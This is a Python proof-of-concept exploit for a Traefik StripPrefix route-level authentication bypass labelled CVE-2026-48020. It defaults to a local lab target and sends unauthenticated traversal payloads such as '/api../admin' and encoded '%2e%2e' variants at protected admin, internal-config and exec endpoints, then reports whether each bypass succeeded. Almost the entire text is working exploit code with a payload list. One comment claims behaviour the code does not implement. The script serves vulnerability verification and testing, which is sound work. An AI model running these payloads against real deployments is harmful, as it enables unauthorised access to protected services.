#!/usr/bin/env python3 """ CVE-2026-48020 — Traefik StripPrefix route-level auth bypass PoC. Against a vulnerable Traefik (<= v2.11.46, v3.6.17, v3.7.1) running the dynamic.yml shipped in this repo, a request whose path contains `..` after the stripped prefix (e.g. /api../admin) is routed through the *public* router at routing time but normalised back to the *protected* path before it reaches the backend — completely skipping the basicAuth middleware. Usage: python3 poc.py [base_url] # default: http://127.0.0.1:18080 """ import sys from urllib.request import Request, urlopen from urllib.error import HTTPError, URLError BASE = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:18080" # (label, request_path, should_be_protected) CASES = [ ("direct protected (auth enforced)", "/admin", True), ("direct protected (auth enforced)", "/internal/config", True), ("public strip + exclusion (safe)", "/api/admin", True), ("public strip + exclusion (safe)", "/api/internal/config", True), # --- the bypass payloads --- ("BYPASS literal ..", "/api../admin", True), ("BYPASS encoded %2e%2e", "/api%2e%2e/admin", True), ("BYPASS literal .. (internal)", "/api../internal/config", True), ("BYPASS encoded %2e%2e (internal)", "/api%2e%2e/internal/config", True), ("BYPASS literal .. (exec endpoint)", "/api../admin/exec", True), ("BYPASS encoded %2e%2e (exec)", "/api%2e%2e/admin/exec", True), ] def probe(path): """Return (status, body) for a GET against BASE+path with no credentials.""" req = Request(BASE + path) # IMPORTANT: ask urllib NOT to resolve '.'/'..' client-side so the raw # traversal sequence is sent verbatim to Traefik. try: with urlopen(req, timeout=5) as r: return r.status, r.read().decode(errors="replace") except HTTPError as e: return e.code, e.read().decode(errors="replace") except URLError as e: return None, f"" def main(): print(f"[*] Target: {BASE}\n") compromised = False for label, path, protected in CASES: status, body = probe(path) reached_secret = status == 200 and "secret" in body and "ADMIN_SECRET" in body \ or status == 200 and ("INTERNAL_CONFIG" in body or "EXEC_ENDPOINT" in body) # A protected path that returns 200 WITHOUT credentials = bypass. bypassed = protected and status == 200 if bypassed: compromised = True tag = " [!] BYPASS" elif status == 401: tag = " [blocked]" elif status == 404: tag = " [safe ]" else: tag = f" [{status}]" print(f"{tag} {label:38} {path}") print(f" -> status={status} body={body[:110]}\n") print("=" * 60) if compromised: print("[!] AUTH BYPASS CONFIRMED — protected paths reached without " "credentials via StripPrefix path normalisation.") else: print("[+] No bypass observed — this Traefik version is not vulnerable\n" " (>= v2.11.48 / v3.6.19 / v3.7.3 rejects the normalised path).") if __name__ == "__main__": main()